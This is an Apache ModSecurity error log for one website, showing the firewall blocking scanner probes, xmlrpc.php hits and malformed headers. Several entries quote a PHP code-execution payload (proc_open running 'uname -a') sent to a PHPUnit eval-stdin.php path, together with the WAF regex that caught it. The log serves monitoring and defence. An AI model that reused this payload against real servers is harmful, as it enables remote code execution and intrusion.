[Sun Mar 29 08:48:37.367639 2026] [:error] [pid 23250:tid 23266] [client 51.83.5.74:60284] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ach25Zxrpj-dQjy1cvpfGQAAAk4"]
[Sun Mar 29 08:51:43.864331 2026] [:error] [pid 23167:tid 23191] [client 45.94.31.49:65453] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ach3nxIAHJCFaHff3_eYMAAAAdU"]
[Sun Mar 29 08:51:44.856693 2026] [:error] [pid 32254:tid 32282] [client 45.94.31.49:57691] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ach3oKug2IHuyGgCTn8jzQAAABI"]
[Sun Mar 29 08:51:45.841348 2026] [:error] [pid 32255:tid 32315] [client 45.94.31.49:51167] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ach3oWnfn-AtRoMbquyRPwAAAFg"]
[Sun Mar 29 08:51:46.804061 2026] [:error] [pid 32255:tid 32314] [client 45.94.31.49:62945] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ach3omnfn-AtRoMbquyRTQAAAFc"]
[Sun Mar 29 08:51:47.775100 2026] [:error] [pid 23284:tid 23291] [client 45.94.31.49:57209] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "ach3o4zBujdPHsq7wyR6XwAAAoU"]
[Sun Mar 29 08:58:00.010691 2026] [:error] [pid 23250:tid 23276] [client 104.248.144.168:57082] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ach5GJxrpj-dQjy1cvphZAAAAlg"]
[Sun Mar 29 08:58:00.216636 2026] [:error] [pid 23137:tid 23143] [client 104.248.144.168:57086] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ach5GBaWQa7LdZ_qGFaafAAAAYQ"]
[Sun Mar 29 08:58:00.405457 2026] [:error] [pid 23284:tid 23289] [client 104.248.144.168:57097] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ach5GIzBujdPHsq7wyR7yQAAAoM"]
[Sun Mar 29 08:58:00.838930 2026] [:error] [pid 23284:tid 23299] [client 104.248.144.168:57107] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ach5GIzBujdPHsq7wyR7ygAAAo0"]
[Sun Mar 29 08:58:01.226585 2026] [:error] [pid 23167:tid 23190] [client 104.248.144.168:57121] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ach5GRIAHJCFaHff3_ebOgAAAdQ"]
[Sun Mar 29 08:58:01.620842 2026] [:error] [pid 23167:tid 23183] [client 104.248.144.168:57137] [client 104.248.144.168] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)(?:\\\\b(?:f(?:tp_(?:nb_)?f?(?:ge|pu)t|get(?:s?s|c)|scanf|write|open|read)|gz(?:(?:encod|writ)e|compress|open|read)|s(?:ession_start|candir)|read(?:(?:gz)?file|dir)|move_uploaded_file|(?:proc_|bz)open|call_user_func)|\\\\$_(?:(?:pos|ge)t|session))\\\\b" at ARGS:<?php $sp2b9876 . [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "70"] [id "211230"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: proc_open found within ARGS:<?php $sp2b9876 :  proc_open('uname -a', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ach5GRIAHJCFaHff3_ebPwAAAc0"]
[Sun Mar 29 10:00:11.592250 2026] [:error] [pid 23167:tid 23191] [client 177.21.37.90:54635] [client 177.21.37.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.21.37.90, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aciHqxIAHJCFaHff3_ezWQAAAdU"]
[Sun Mar 29 12:40:41.189749 2026] [:error] [pid 23250:tid 23262] [client 203.2.64.59:52753] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acitSZxrpj-dQjy1cvqSxwAAAko"]
[Sun Mar 29 14:06:20.047412 2026] [:error] [pid 23137:tid 23156] [client 43.130.37.243:40382] [client 43.130.37.243] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acjBXBaWQa7LdZ_qGFa9igAAAZE"]
[Sun Mar 29 14:27:28.346974 2026] [:error] [pid 23167:tid 23171] [client 51.75.116.156:55014] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acjGUBIAHJCFaHff3_cspAAAAcE"]
[Sun Mar 29 14:27:30.674607 2026] [:error] [pid 32255:tid 32315] [client 51.75.116.156:48220] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acjGUmnfn-AtRoMbquwaggAAAFg"]
[Sun Mar 29 14:27:33.105923 2026] [:error] [pid 23250:tid 23273] [client 51.75.116.156:48224] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acjGVZxrpj-dQjy1cvqoaAAAAlU"]
[Sun Mar 29 14:27:35.650534 2026] [:error] [pid 23284:tid 23287] [client 51.75.116.156:48228] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acjGV4zBujdPHsq7wyTUdAAAAoE"]
[Sun Mar 29 14:27:44.016231 2026] [:error] [pid 23167:tid 23192] [client 51.75.116.156:50090] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acjGYBIAHJCFaHff3_cswQAAAdY"]
[Sun Mar 29 14:27:46.563321 2026] [:error] [pid 23168:tid 23211] [client 51.75.116.156:50092] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acjGYmP8p0yRL8ot_289KgAAAg4"]
[Sun Mar 29 14:27:48.984331 2026] [:error] [pid 23284:tid 23299] [client 51.75.116.156:37804] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acjGZIzBujdPHsq7wyTUewAAAo0"]
[Sun Mar 29 14:27:51.528468 2026] [:error] [pid 23250:tid 23272] [client 51.75.116.156:37812] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acjGZ5xrpj-dQjy1cvqoewAAAlQ"]
[Sun Mar 29 14:27:53.958810 2026] [:error] [pid 32255:tid 32294] [client 51.75.116.156:37822] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acjGaWnfn-AtRoMbquwaoQAAAEM"]
[Sun Mar 29 14:27:56.480584 2026] [:error] [pid 23250:tid 23267] [client 51.75.116.156:37826] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acjGbJxrpj-dQjy1cvqogAAAAk8"]
[Sun Mar 29 14:27:59.001303 2026] [:error] [pid 1524:tid 1554] [client 51.75.116.156:53576] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acjGbloaWSl2asqQCh9XaAAAARY"]
[Sun Mar 29 14:28:01.517421 2026] [:error] [pid 1524:tid 1541] [client 51.75.116.156:53586] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acjGcVoaWSl2asqQCh9XawAAAQo"]
[Sun Mar 29 14:28:04.077215 2026] [:error] [pid 23168:tid 23220] [client 51.75.116.156:53600] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acjGdGP8p0yRL8ot_289PwAAAhc"]
[Sun Mar 29 14:28:06.795623 2026] [:error] [pid 23168:tid 23215] [client 51.75.116.156:54670] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acjGdmP8p0yRL8ot_289QQAAAhI"]
[Sun Mar 29 14:28:09.318428 2026] [:error] [pid 32255:tid 32306] [client 51.75.116.156:54682] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acjGeWnfn-AtRoMbquwauAAAAE8"]
[Sun Mar 29 14:28:11.726743 2026] [:error] [pid 32257:tid 32321] [client 51.75.116.156:54686] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acjGeyE3TArOFrUtgWqYggAAAIM"]
[Sun Mar 29 14:28:14.228563 2026] [:error] [pid 23137:tid 23140] [client 51.75.116.156:54698] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "acjGfhaWQa7LdZ_qGFbAQgAAAYE"]
[Sun Mar 29 14:28:16.789470 2026] [:error] [pid 32257:tid 32338] [client 51.75.116.156:44454] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "acjGgCE3TArOFrUtgWqYigAAAJQ"]
[Sun Mar 29 14:28:19.324101 2026] [:error] [pid 23137:tid 23143] [client 51.75.116.156:44468] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acjGgxaWQa7LdZ_qGFbARwAAAYQ"]
[Sun Mar 29 14:28:21.835507 2026] [:error] [pid 23250:tid 23276] [client 51.75.116.156:44484] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acjGhZxrpj-dQjy1cvqosAAAAlg"]
[Sun Mar 29 14:28:24.380774 2026] [:error] [pid 23284:tid 23309] [client 51.75.116.156:44486] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acjGiIzBujdPHsq7wyTUoQAAApc"]
[Sun Mar 29 14:28:45.368842 2026] [:error] [pid 23284:tid 23295] [client 51.75.116.156:40380] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "acjGnYzBujdPHsq7wyTU1AAAAok"]
[Sun Mar 29 14:28:47.720144 2026] [:error] [pid 23167:tid 23176] [client 51.75.116.156:59154] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acjGnxIAHJCFaHff3_ctBQAAAcY"]
[Sun Mar 29 14:28:50.240048 2026] [:error] [pid 23284:tid 23304] [client 51.75.116.156:59164] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acjGoozBujdPHsq7wyTU2wAAApI"]
[Sun Mar 29 14:28:52.770505 2026] [:error] [pid 23284:tid 23309] [client 51.75.116.156:59178] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acjGpIzBujdPHsq7wyTU3QAAApc"]
[Sun Mar 29 14:28:55.145474 2026] [:error] [pid 23167:tid 23173] [client 51.75.116.156:59190] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acjGpxIAHJCFaHff3_ctEwAAAcM"]
[Sun Mar 29 14:28:57.692179 2026] [:error] [pid 23167:tid 23180] [client 51.75.116.156:36208] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acjGqRIAHJCFaHff3_ctFQAAAco"]
[Sun Mar 29 14:29:00.199835 2026] [:error] [pid 32257:tid 32325] [client 51.75.116.156:36218] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acjGrCE3TArOFrUtgWqYmQAAAIc"]
[Sun Mar 29 14:29:02.598797 2026] [:error] [pid 32257:tid 32338] [client 51.75.116.156:36226] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acjGriE3TArOFrUtgWqYnwAAAJQ"]
[Sun Mar 29 14:29:05.137933 2026] [:error] [pid 23168:tid 23220] [client 51.75.116.156:36240] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acjGsWP8p0yRL8ot_289agAAAhc"]
[Sun Mar 29 14:29:07.669966 2026] [:error] [pid 23167:tid 23176] [client 51.75.116.156:43296] [client 51.75.116.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acjGsxIAHJCFaHff3_ctKQAAAcY"]
